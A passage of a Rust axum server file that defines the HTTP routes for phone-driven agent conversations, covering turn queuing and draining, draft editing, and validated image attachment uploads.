3461/// A talk as the phone reads it.
3462///
3463/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
3464/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
3465/// parses markdown itself - and the process-local `thinking` hint.
3466#[derive(Debug, Serialize)]
3467struct TalkView {
3468    #[serde(flatten)]
3469    talk: Talk,
3470    turn_bodies_md: Vec<Vec<md::Node>>,
3471    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
3472    /// this server process.
3473    ///
3474    /// This is deliberately not durable: another server process cannot see
3475    /// it, and a restarted server must not claim an old turn is live. It is a
3476    /// progress hint rather than proof a reply landed; the transcript remains
3477    /// the source of truth for that.
3478    thinking: bool,
3479}
3480
3481impl TalkView {
3482    fn new(talk: Talk, thinking: bool) -> Self {
3483        let turn_bodies_md = talk
3484            .turns
3485            .iter()
3486            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3487            .collect();
3488        Self {
3489            turn_bodies_md,
3490            thinking,
3491            talk,
3492        }
3493    }
3494}
3495
3496/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
3497/// conversation has filed, so the phone can follow one from inside the
3498/// conversation that asked for it rather than hunting the Queue for a task id
3499/// it may not remember.
3500#[derive(Debug, Serialize)]
3501struct TalkDetailView {
3502    #[serde(flatten)]
3503    view: TalkView,
3504    tasks: Vec<TaskView>,
3505}
3506
3507/// `GET /api/talks`.
3508///
3509/// Every conversation, open ones first and newest first - [`Talks::list`]'s
3510/// own order.
3511async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3512    blocking(move || {
3513        Ok(Json(
3514            ui.talks
3515                .list()
3516                .into_iter()
3517                .map(|talk| {
3518                    let thinking = ui.is_thinking(&talk.id);
3519                    TalkView::new(talk, thinking)
3520                })
3521                .collect(),
3522        ))
3523    })
3524    .await
3525}
3526
3527/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
3528/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
3529/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
3530/// end still opens a talk against an older binary.
3531#[derive(Debug, Default, Deserialize)]
3532#[serde(default)]
3533struct NewTalk {
3534    agent: Option<String>,
3535    repo: Option<PathBuf>,
3536}
3537
3538/// `POST /api/talks` - open a conversation. Takes no agent turn: see
3539/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
3540async fn talk_post(
3541    State(ui): State<Arc<Ui>>,
3542    body: std::result::Result<Json<NewTalk>, JsonRejection>,
3543) -> ApiResult<impl IntoResponse> {
3544    // An absent body, or an empty one, is the normal way to open a talk - see
3545    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
3546    // rather than refused.
3547    let body = match body {
3548        Ok(Json(body)) => body,
3549        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3550        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3551    };
3552    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3553    let cfg = config_for(&repo).await?;
3554    let view = blocking(move || {
3555        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3556        let thinking = ui.is_thinking(&talk.id);
3557        Ok(TalkView::new(talk, thinking))
3558    })
3559    .await?;
3560    Ok((StatusCode::CREATED, Json(view)))
3561}
3562
3563/// `GET /api/talks/{id}`.
3564async fn talk_detail(
3565    State(ui): State<Arc<Ui>>,
3566    Path(id): Path<String>,
3567) -> ApiResult<Json<TalkDetailView>> {
3568    blocking(move || {
3569        let id = resolve_talk(&ui.talks, &id)?;
3570        let talk = ui.talks.get(&id)?;
3571        let thinking = ui.is_thinking(&talk.id);
3572        let tasks = talk::tasks_of(&ui.queue, &talk.id)
3573            .into_iter()
3574            .map(TaskView::from)
3575            .collect();
3576        Ok(Json(TalkDetailView {
3577            view: TalkView::new(talk, thinking),
3578            tasks,
3579        }))
3580    })
3581    .await
3582}
3583
3584/// The body of `POST /api/talks/{id}/say`.
3585///
3586/// `attachments` names ids `POST /api/talks/{id}/attachments` already
3587/// returned - never bytes of its own - so a turn with no images just omits
3588/// the field, which is what an older front end still does.
3589#[derive(Debug, Default, Deserialize)]
3590#[serde(default, deny_unknown_fields)]
3591struct NewTalkTurn {
3592    text: String,
3593    attachments: Vec<String>,
3594}
3595
3596#[derive(Debug, Deserialize)]
3597#[serde(deny_unknown_fields)]
3598struct EditTalkPending {
3599    text: String,
3600    expected_text: String,
3601    expected_attachments: Vec<String>,
3602}
3603
3604#[derive(Debug, Deserialize)]
3605#[serde(deny_unknown_fields)]
3606struct ClearTalkPending {
3607    expected_text: String,
3608    expected_attachments: Vec<String>,
3609}
3610
3611/// `POST /api/talks/{id}/say` - one turn of the conversation.
3612///
3613/// Not filesystem work, and therefore not routed through [`blocking`]: this
3614/// route spawns an agent CLI and a turn here can run for the whole of
3615/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
3616/// research turn is expected to run commands rather than answer from what it
3617/// already knows. Holding an HTTP connection open that long is not a thing
3618/// to ask a phone to do; the operator's message is recorded and answered for
3619/// immediately, and the reply lands in the background, discovered through
3620/// the change stream's `talks_rev` the same way every other update on this
3621/// surface is.
3622async fn talk_say(
3623    State(ui): State<Arc<Ui>>,
3624    Path(id): Path<String>,
3625    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3626) -> ApiResult<(StatusCode, Json<TalkView>)> {
3627    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3628    if body.text.trim().is_empty() && body.attachments.is_empty() {
3629        return Err(ApiError::bad_request("say something"));
3630    }
3631
3632    let id = {
3633        let ui = Arc::clone(&ui);
3634        let asked = id.clone();
3635        blocking(move || resolve_talk(&ui.talks, &asked)).await?
3636    };
3637    // A closed Talk never accepts a new immediate or queued turn. Check this
3638    // before claiming a slot so its ordinary domain refusal is a 409, not an
3639    // incidental failure from the later record/queue write.
3640    {
3641        let ui = Arc::clone(&ui);
3642        let id = id.clone();
3643        blocking(move || {
3644            let talk = ui.talks.get(&id)?;
3645            if !talk.status.open() {
3646                return Err(ApiError::conflict(format!(
3647                    "talk {} is {} and takes no more turns",
3648                    talk.short(),
3649                    talk.status.as_str()
3650                )));
3651            }
3652            Ok(())
3653        })
3654        .await?;
3655    }
3656
3657    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
3658    // actually stores, before anything is written - an unknown id is a 4xx
3659    // that names it rather than a turn (or a queued draft) silently missing
3660    // an image.
3661    let attachments = {
3662        let ui = Arc::clone(&ui);
3663        let id = id.clone();
3664        let ids = body.attachments.clone();
3665        blocking(move || {
3666            ids.into_iter()
3667                .map(|att_id| {
3668                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3669                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3670                    })
3671                })
3672                .collect::<ApiResult<Vec<talk::Attachment>>>()
3673        })
3674        .await?
3675    };
3676
3677    // Pending recovery and a new immediate turn are decided under the same
3678    // claim lock. Without that one critical section, a second `/say` can see
3679    // the first request's claim as "busy" and append itself to the recovered
3680    // draft before the first request rejects it.
3681    let start = {
3682        let ui = Arc::clone(&ui);
3683        let id = id.clone();
3684        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
3685    };
3686    let turn_guard = match start {
3687        TalkTurnStart::Claimed(turn_guard) => turn_guard,
3688        TalkTurnStart::Pending => {
3689            return Err(ApiError::conflict(
3690                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
3691            ));
3692        }
3693        TalkTurnStart::Busy => {
3694            // A turn is already running: queue rather than refuse. See
3695            // `Ui::begin_talk_turn` and `talk::queue`.
3696            //
3697            // The queue write and the drain it may owe live inside the task
3698            // `tokio::spawn` hands to the runtime, for the same reason the
3699            // immediate path below puts `record` there: a dropped handler
3700            // future must not be able to land between a durable write and
3701            // the task that answers it. `blocking` runs its closure on
3702            // `spawn_blocking`, which finishes whether or not anyone is left
3703            // to receive its result - so a disconnect at the `.await` below
3704            // would otherwise leave the draft persisted and the reclaimed
3705            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
3706            // ever started and the queued text stranded until some later
3707            // `say` happened to pick it up. The caller's 202 travels back
3708            // over a `oneshot`, sent the moment the write lands.
3709            let (tx, rx) = tokio::sync::oneshot::channel();
3710            tokio::spawn({
3711                let ui = Arc::clone(&ui);
3712                let id = id.clone();
3713                let said = body.text.clone();
3714                async move {
3715                    let written = blocking({
3716                        let ui = Arc::clone(&ui);
3717                        let id = id.clone();
3718                        move || {
3719                            let mut talk = ui.talks.get(&id)?;
3720                            // A test-only stop point, right before the write
3721                            // an interleaving test needs to pin - see
3722                            // `BusyQueueGate`. `None` in every real server:
3723                            // the field only exists under `#[cfg(test)]`.
3724                            #[cfg(test)]
3725                            if let Some(gate) = ui
3726                                .busy_queue_gate
3727                                .lock()
3728                                .unwrap_or_else(PoisonError::into_inner)
3729                                .take()
3730                            {
3731                                let _ = gate.reached.send(());
3732                                let _ = gate.release.recv();
3733                            }
3734                            if let Err(error) =
3735                                talk::queue(&mut talk, &ui.talks, &said, attachments)
3736                            {
3737                                if let Ok(fresh) = ui.talks.get(&id) {
3738                                    if !fresh.status.open() {
3739                                        return Err(ApiError::conflict(format!(
3740                                            "talk {} is {} and takes no more turns",
3741                                            fresh.short(),
3742                                            fresh.status.as_str()
3743                                        )));
3744                                    }
3745                                }
3746                                return Err(ApiError::from(error));
3747                            }
3748                            // The turn that looked busy a moment ago can have
3749                            // finished, found nothing to drain and given up the
3750                            // slot in the gap between that check and this write
3751                            // landing - see `drain_loop`'s own doc for the other
3752                            // half of why that gap would otherwise be able to
3753                            // open at all. Reclaiming the slot here, rather than
3754                            // trusting that whoever held it is still watching, is
3755                            // what stops the text just queued from being stranded
3756                            // until an unrelated future `say` happens to drain
3757                            // it.
3758                            let claim = match ui.begin_queued_talk_turn(&id)? {
3759                                Some(turn_guard) => {
3760                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
3761                                    Some((talk.clone(), cfg, turn_guard))
3762                                }
3763                                None => None,
3764                            };
3765                            let thinking = ui.is_thinking(&id);
3766                            Ok((TalkView::new(talk, thinking), claim))
3767                        }
3768                    })
3769                    .await;
3770                    let (view, reclaimed) = match written {
3771                        Ok(pair) => pair,
3772                        Err(e) => {
3773                            // Nobody is listening if the handler's own future
3774                            // was already dropped - that is fine, nothing was
3775                            // persisted and there is no response left to carry
3776                            // this error to.
3777                            let _ = tx.send(Err(e));
3778                            return;
3779                        }
3780                    };
3781                    // If this fails, the caller is gone; the drain below still
3782                    // runs exactly as it would have for a caller that stayed.
3783                    let _ = tx.send(Ok(view));
3784                    if let Some((talk, cfg, turn_guard)) = reclaimed {
3785                        let talks = ui.talks.clone();
3786                        drain_loop(talk, talks, cfg, id, turn_guard).await;
3787                    }
3788                }
3789            });
3790            let view = rx
3791                .await
3792                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3793            return Ok((StatusCode::ACCEPTED, Json(view)));
3794        }
3795    };
3796
3797    let (talk, cfg) = {
3798        let ui = Arc::clone(&ui);
3799        let id = id.clone();
3800        blocking(move || {
3801            let talk = ui.talks.get(&id)?;
3802            let (cfg, _) = Config::discover(&talk.repo, None)?;
3803            Ok((talk, cfg))
3804        })
3805        .await?
3806    };
3807
3808    let talks = ui.talks.clone();
3809    // `record` runs *inside* the spawned task, rather than in this handler
3810    // followed by a separate `tokio::spawn` for `respond` - axum drops this
3811    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
3812    // doc), and that drop can land at any `.await` this function makes,
3813    // including one that has already produced its result but not yet
3814    // resumed. A message could end up recorded on disk with the handler
3815    // future gone before it ever reached the `tokio::spawn` that would have
3816    // started the reply. `tokio::spawn` itself is a plain, synchronous call
3817    // that hands the whole future to the runtime as one unit - once made, no
3818    // later drop of *this* handler's own future (that call's return value is
3819    // never held onto here) can reach back in and stop it, so record and the
3820    // hand-off to `respond` are unconditionally atomic from the client's
3821    // point of view. The immediate response this handler owes the caller
3822    // travels back over a `oneshot`, sent the moment `record` succeeds.
3823    let (tx, rx) = tokio::sync::oneshot::channel();
3824    tokio::spawn({
3825        let ui = Arc::clone(&ui);
3826        let talks = talks.clone();
3827        let id = id.clone();
3828        let said = body.text.clone();
3829        let mut talk = talk.clone();
3830        async move {
3831            let recorded = blocking({
3832                let talks = talks.clone();
3833                move || {
3834                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
3835                        if let Ok(fresh) = talks.get(&talk.id) {
3836                            if !fresh.status.open() {
3837                                return Err(ApiError::conflict(format!(
3838                                    "talk {} is {} and takes no more turns",
3839                                    fresh.short(),
3840                                    fresh.status.as_str()
3841                                )));
3842                            }
3843                        }
3844                        return Err(ApiError::from(error));
3845                    }
3846                    // `record` mutates `talk` in place to the freshly persisted
3847                    // state (status, pending, and the just-appended operator
3848                    // turn), so returning it here is equivalent to re-reading it
3849                    // from disk - without the extra round trip a re-read would
3850                    // need.
3851                    Ok((said.trim().to_owned(), talk))
3852                }
3853            })
3854            .await;
3855            let (text, mut talk) = match recorded {
3856                Ok(pair) => pair,
3857                Err(e) => {
3858                    // Nobody is listening if the handler's own future was
3859                    // already dropped - that is fine, there is no response
3860                    // left to carry this error to and nothing was persisted.
3861                    let _ = tx.send(Err(e));
3862                    return;
3863                }
3864            };
3865            let queued = talk.clone();
3866            let thinking = ui.is_thinking(&id);
3867            // If this fails, the caller is gone; the turn still runs below
3868            // exactly as it would have for a caller that stayed connected.
3869            let _ = tx.send(Ok((queued, thinking)));
3870
3871            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3872                // `respond` records the failure in the transcript itself,
3873                // which is what the phone reads; this line is for the
3874                // operator's terminal.
3875                tracing::warn!("talk {id} turn failed: {e:#}");
3876            }
3877            // Anything `talk::queue` added while the turn above was running
3878            // is still owed an answer - see `drain_loop`.
3879            drain_loop(talk, talks, cfg, id, turn_guard).await;
3880        }
3881    });
3882
3883    let (queued, thinking) = rx
3884        .await
3885        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3886
3887    // 202: the operator's message is recorded and a turn is running.
3888    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
3889}
3890
3891/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
3892/// changing it. The turn guard is the same per-talk ownership `talk_say`
3893/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
3894async fn talk_pending_resume(
3895    State(ui): State<Arc<Ui>>,
3896    Path(id): Path<String>,
3897) -> ApiResult<(StatusCode, Json<TalkView>)> {
3898    let id = {
3899        let ui = Arc::clone(&ui);
3900        let asked = id.clone();
3901        blocking(move || resolve_talk(&ui.talks, &asked)).await?
3902    };
3903    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
3904        return Err(ApiError::conflict(
3905            "a talk turn is already running; the queued draft will be handled by it",
3906        ));
3907    };
3908    let (talk, cfg) = {
3909        let ui = Arc::clone(&ui);
3910        let id = id.clone();
3911        blocking(move || {
3912            let talk = ui.talks.get(&id)?;
3913            if !talk.status.open() {
3914                return Err(ApiError::conflict(format!(
3915                    "talk {} is {} and takes no more turns",
3916                    talk.short(),
3917                    talk.status.as_str()
3918                )));
3919            }
3920            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
3921                return Err(ApiError::conflict("there is no queued draft to resume"));
3922            }
3923            let (cfg, _) = Config::discover(&talk.repo, None)?;
3924            Ok((talk, cfg))
3925        })
3926        .await?
3927    };
3928    let view = TalkView::new(talk.clone(), true);
3929    let talks = ui.talks.clone();
3930    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3931    Ok((StatusCode::ACCEPTED, Json(view)))
3932}
3933
3934/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
3935/// releasing `turn` only once a check finds it truly empty. Shared by both
3936/// callers that can end up owning a talk's turn slot with something already
3937/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
3938/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
3939/// holder just gave up - see the comment at that call site.
3940///
3941/// The release is folded into the final generation check under `turn`'s own
3942/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
3943/// free". Before its blocking `talk::drain`, this loop observes the queued
3944/// generation. A `say` that sees the turn busy writes its draft, then advances
3945/// that generation. Thus, if it lands while the drain is in flight, the final
3946/// check observes the advance and drains again; otherwise it releases the
3947/// claim while holding the same lock. This keeps the release/arrival handoff
3948/// atomic without holding the global claim mutex across filesystem I/O.
3949async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
3950    let live_set = Arc::clone(&turn.turns);
3951    // `Option` rather than binding `turn` directly to a `_turn` that lives
3952    // for the whole function: releasing it has to happen by calling
3953    // `TalkTurnGuard::release` from inside the locked branch below, which
3954    // takes `self` by value. Left as a plain drop instead, `Drop` would still
3955    // remove the id - correctly, if this loop is ever left some other way -
3956    // but doing it there misses the lock this loop is already holding, which
3957    // is the exact gap `release` exists to close.
3958    let mut turn = Some(turn);
3959    loop {
3960        // `talk::drain` takes the store lock and can write/rename the talk
3961        // file. Keep the turn mutex out of that synchronous work: it protects
3962        // every talk's in-memory claim, not this talk's disk operation.
3963        let observed = live_set
3964            .lock()
3965            .unwrap_or_else(PoisonError::into_inner)
3966            .queued
3967            .get(&id)
3968            .copied()
3969            .unwrap_or(0);
3970        let drained = blocking({
3971            let talks = talks.clone();
3972            move || {
3973                let result = talk::drain(&mut talk, &talks);
3974                Ok((talk, result))
3975            }
3976        })
3977        .await;
3978        let (next_talk, result) = match drained {
3979            Ok(drained) => drained,
3980            Err(e) => {
3981                tracing::warn!(
3982                    status = %e.status,
3983                    message = %e.message,
3984                    "talk {id} could not start queued-text drain"
3985                );
3986                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3987                turn.take()
3988                    .expect("held for the whole loop until released here")
3989                    .release(&mut live);
3990                break;
3991            }
3992        };
3993        talk = next_talk;
3994        let drained = match result {
3995            Ok(Some(drained)) => drained,
3996            Ok(None) => {
3997                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3998                if live.queued.get(&id).copied().unwrap_or(0) != observed {
3999                    continue;
4000                }
4001                turn.take()
4002                    .expect("held for the whole loop until released here")
4003                    .release(&mut live);
4004                break;
4005            }
4006            Err(e) => {
4007                tracing::warn!("talk {id} could not drain queued text: {e:#}");
4008                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4009                turn.take()
4010                    .expect("held for the whole loop until released here")
4011                    .release(&mut live);
4012                break;
4013            }
4014        };
4015        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4016            tracing::warn!("talk {id} turn failed: {e:#}");
4017        }
4018    }
4019}
4020
4021/// Clear a queued draft only if it remains exactly the one the caller saw.
4022async fn talk_pending_clear(
4023    State(ui): State<Arc<Ui>>,
4024    Path(id): Path<String>,
4025    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4026) -> ApiResult<Json<TalkView>> {
4027    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4028    blocking(move || {
4029        let id = resolve_talk(&ui.talks, &id)?;
4030        let mut talk = ui.talks.get(&id)?;
4031        if !talk.status.open() {
4032            return Err(ApiError::conflict(format!(
4033                "talk {} is {} and takes no more turns",
4034                talk.short(),
4035                talk.status.as_str()
4036            )));
4037        }
4038        if !talk::clear_pending_if_matches(
4039            &mut talk,
4040            &ui.talks,
4041            &body.expected_text,
4042            &body.expected_attachments,
4043        )? {
4044            return Err(ApiError::conflict(
4045                "queued message changed; reload it before clearing",
4046            ));
4047        }
4048        let thinking = ui.is_thinking(&talk.id);
4049        Ok(Json(TalkView::new(talk, thinking)))
4050    })
4051    .await
4052}
4053
4054/// Atomically edit a queued draft's text while preserving its attachments.
4055/// The snapshot fields make a concurrent queue or drain a conflict rather
4056/// than silently discarding either message.
4057async fn talk_pending_edit(
4058    State(ui): State<Arc<Ui>>,
4059    Path(id): Path<String>,
4060    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4061) -> ApiResult<Json<TalkView>> {
4062    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4063    let (view, reclaimed) = blocking({
4064        let ui = Arc::clone(&ui);
4065        move || {
4066            let id = resolve_talk(&ui.talks, &id)?;
4067            let mut talk = ui.talks.get(&id)?;
4068            if !talk.status.open() {
4069                return Err(ApiError::conflict(format!(
4070                    "talk {} is {} and takes no more turns",
4071                    talk.short(),
4072                    talk.status.as_str()
4073                )));
4074            }
4075            if !talk::edit_pending_text(
4076                &mut talk,
4077                &ui.talks,
4078                &body.text,
4079                &body.expected_text,
4080                &body.expected_attachments,
4081            )? {
4082                return Err(ApiError::conflict(
4083                    "queued message changed; reload it before editing",
4084                ));
4085            }
4086            let claim = match ui.begin_queued_talk_turn(&id)? {
4087                Some(turn_guard) => {
4088                    let (cfg, _) = Config::discover(&talk.repo, None)?;
4089                    Some((talk.clone(), cfg, id.clone(), turn_guard))
4090                }
4091                None => None,
4092            };
4093            let thinking = ui.is_thinking(&id);
4094            Ok((TalkView::new(talk, thinking), claim))
4095        }
4096    })
4097    .await?;
4098    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4099        let talks = ui.talks.clone();
4100        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4101    }
4102    Ok(Json(view))
4103}
4104
4105/// `POST /api/talks/{id}/close`.
4106async fn talk_close(
4107    State(ui): State<Arc<Ui>>,
4108    Path(id): Path<String>,
4109) -> ApiResult<Json<TalkView>> {
4110    blocking(move || {
4111        let id = resolve_talk(&ui.talks, &id)?;
4112        let mut talk = ui.talks.get(&id)?;
4113        talk::close(&mut talk, &ui.talks)?;
4114        let thinking = ui.is_thinking(&talk.id);
4115        Ok(Json(TalkView::new(talk, thinking)))
4116    })
4117    .await
4118}
4119
4120/// `POST /api/talks/{id}/reopen`.
4121async fn talk_reopen(
4122    State(ui): State<Arc<Ui>>,
4123    Path(id): Path<String>,
4124) -> ApiResult<Json<TalkView>> {
4125    blocking(move || {
4126        let id = resolve_talk(&ui.talks, &id)?;
4127        let mut talk = ui.talks.get(&id)?;
4128        talk::reopen(&mut talk, &ui.talks)?;
4129        let thinking = ui.is_thinking(&talk.id);
4130        Ok(Json(TalkView::new(talk, thinking)))
4131    })
4132    .await
4133}
4134
4135/// `DELETE /api/talks/{id}`.
4136///
4137/// Removes the conversation's record and artifacts outright, unlike
4138/// [`talk_close`] which keeps the record as history. A turn already in
4139/// flight is not refused here the way [`run_delete`] refuses a live run:
4140/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
4141/// under [`Talks::guard`], that the record they are about to write back is
4142/// still there, so a delete racing a turn is safe without this route having
4143/// to know a turn is running at all.
4144async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4145    blocking(move || {
4146        let id = resolve_talk(&ui.talks, &id)?;
4147        ui.talks.remove(&id)?;
4148        Ok(StatusCode::NO_CONTENT)
4149    })
4150    .await
4151}
4152
4153/// Expand an id or short id to exactly one talk id.
4154fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4155    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4156}
4157
4158/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
4159/// future `talk-say`.
4160async fn talk_attachment_post(
4161    State(ui): State<Arc<Ui>>,
4162    Path(id): Path<String>,
4163    headers: HeaderMap,
4164    body: Bytes,
4165) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4166    let mime = validate_attachment(&headers, &body)?;
4167    let name = filename_header(&headers);
4168    let data = body.to_vec();
4169    blocking(move || {
4170        let id = resolve_talk(&ui.talks, &id)?;
4171        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4172        Ok((StatusCode::CREATED, Json(att)))
4173    })
4174    .await
4175}
4176
4177/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
4178/// `<img>` tag in the transcript.
4179async fn talk_attachment_get(
4180    State(ui): State<Arc<Ui>>,
4181    Path((id, att)): Path<(String, String)>,
4182) -> ApiResult<Response> {
4183    blocking(move || {
4184        let id = resolve_talk(&ui.talks, &id)?;
4185        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4186            return Err(ApiError::not_found(format!(
4187                "talk {id} has no attachment `{att}`"
4188            )));
4189        };
4190        Ok(attachment_response(&meta.mime, data))
4191    })
4192    .await
4193}
4194
4195/// Validate an attachment upload's declared `Content-Type` and the bytes
4196/// themselves, returning the canonical mime on success.
4197///
4198/// Two checks, both required: the header has to name one of
4199/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
4200/// simply never in the list, active content rather than a picture, the same
4201/// exclusion [`asset_content_type`]'s doc explains), and the file's own
4202/// magic number has to agree. The second is what stops a mislabeled upload -
4203/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
4204/// a declared type is a claim, not a fact, so it is never trusted alone.
4205fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4206    if data.len() > ATTACHMENT_MAX_BYTES {
4207        return Err(ApiError::bad_request(format!(
4208            "attachment is {} bytes, over the {} MiB limit",
4209            data.len(),
4210            ATTACHMENT_MAX_BYTES / (1024 * 1024)
4211        ))
4212        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4213    }
4214    if data.is_empty() {
4215        return Err(ApiError::bad_request("attachment is empty"));
4216    }
4217    let declared = declared_mime(headers)?;
4218    match sniffed_mime(data) {
4219        Some(sniffed) if sniffed == declared => Ok(declared),
4220        Some(sniffed) => Err(ApiError::bad_request(format!(
4221            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4222        ))),
4223        None => Err(ApiError::bad_request(
4224            "the file's bytes do not match any accepted image format",
4225        )),
4226    }
4227}
4228
4229/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
4230/// and nothing else - parameters like `; charset=` are stripped, but the
4231/// value itself is not otherwise interpreted.
4232fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4233    let raw = headers
4234        .get(header::CONTENT_TYPE)
4235        .and_then(|v| v.to_str().ok())
4236        .unwrap_or("")
4237        .split(';')
4238        .next()
4239        .unwrap_or("")
4240        .trim()
4241        .to_ascii_lowercase();
4242    ATTACHMENT_MIME_WHITELIST
4243        .iter()
4244        .find(|&&m| m == raw)
4245        .copied()
4246        .ok_or_else(|| {
4247            if raw == "image/svg+xml" {
4248                ApiError::bad_request(
4249                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
4250                     not just a picture",
4251                )
4252            } else if raw.is_empty() {
4253                ApiError::bad_request("Content-Type is required for an attachment upload")
4254            } else {
4255                ApiError::bad_request(format!(
4256                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4257                     image/gif or image/webp"
4258                ))
4259            }
4260        })
4261}
4262
4263/// Identify an image by its magic number, independent of whatever
4264/// `Content-Type` claimed.
4265fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4266    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4267        Some("image/png")
4268    } else if data.starts_with(b"\xff\xd8\xff") {
4269        Some("image/jpeg")
4270    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4271        Some("image/gif")
4272    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4273        Some("image/webp")
4274    } else {
4275        None
4276    }
4277}
4278
4279/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
4280/// display - see [`talk::Attachment::name`]'s doc on why it never
4281/// contributes to a path. A missing or blank header (curl without it, an
4282/// older front end) falls back to a generic name rather than refusing the
4283/// upload over a field that is cosmetic.
4284fn filename_header(headers: &HeaderMap) -> String {
4285    headers
4286        .get(FILENAME_HEADER)
4287        .and_then(|v| v.to_str().ok())
4288        .map(str::trim)
4289        .filter(|s| !s.is_empty())
4290        .unwrap_or("attachment")
4291        .to_owned()
4292}
4293
4294/// Every attachment `GET` response: the mime re-validated against the same
4295/// closed whitelist the upload route enforces - never the string trusted
4296/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
4297/// cannot decide it knows better than the type we send. Unlike a panel asset
4298/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
4299/// document renders inline, not agent-authored HTML in a sandboxed frame.
4300fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4301    let content_type = ATTACHMENT_MIME_WHITELIST
4302        .iter()
4303        .find(|&&m| m == mime)
4304        .copied()
4305        .unwrap_or("application/octet-stream");
4306    (
4307        [
4308            (header::CONTENT_TYPE, content_type),
4309            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4310        ],
4311        body,
4312    )
4313        .into_response()
4314}
4315
4316/// The configuration for a repository, read off the disk for this request.
4317///
4318/// Through [`blocking`] because discovery reads and merges several TOML files,
4319/// and because the alternative - caching it in [`Ui`] at startup - would mean
4320/// the operator's phone kept interviewing with a roster they had already
4321/// changed, with no way to reload it but restarting the server they are not
4322/// sitting in front of.
4323async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4324    let repo = repo.to_path_buf();
4325    blocking(move || {
4326        let (cfg, _) = Config::discover(&repo, None)?;
4327        Ok(cfg)
4328    })
4329    .await
4330}
4331
4332/// The one prefix rule, used for both runs and tasks: a leading match for a
4333/// full id, a trailing match for the short form an operator reads off a
4334/// report. Written here rather than borrowed from `queue::resolve_id` because
4335/// the UI needs the two failures as different status codes, and telling them
4336/// apart from an error message is not something to build a route on.
4337fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4338    let mut hits = ids
4339        .into_iter()
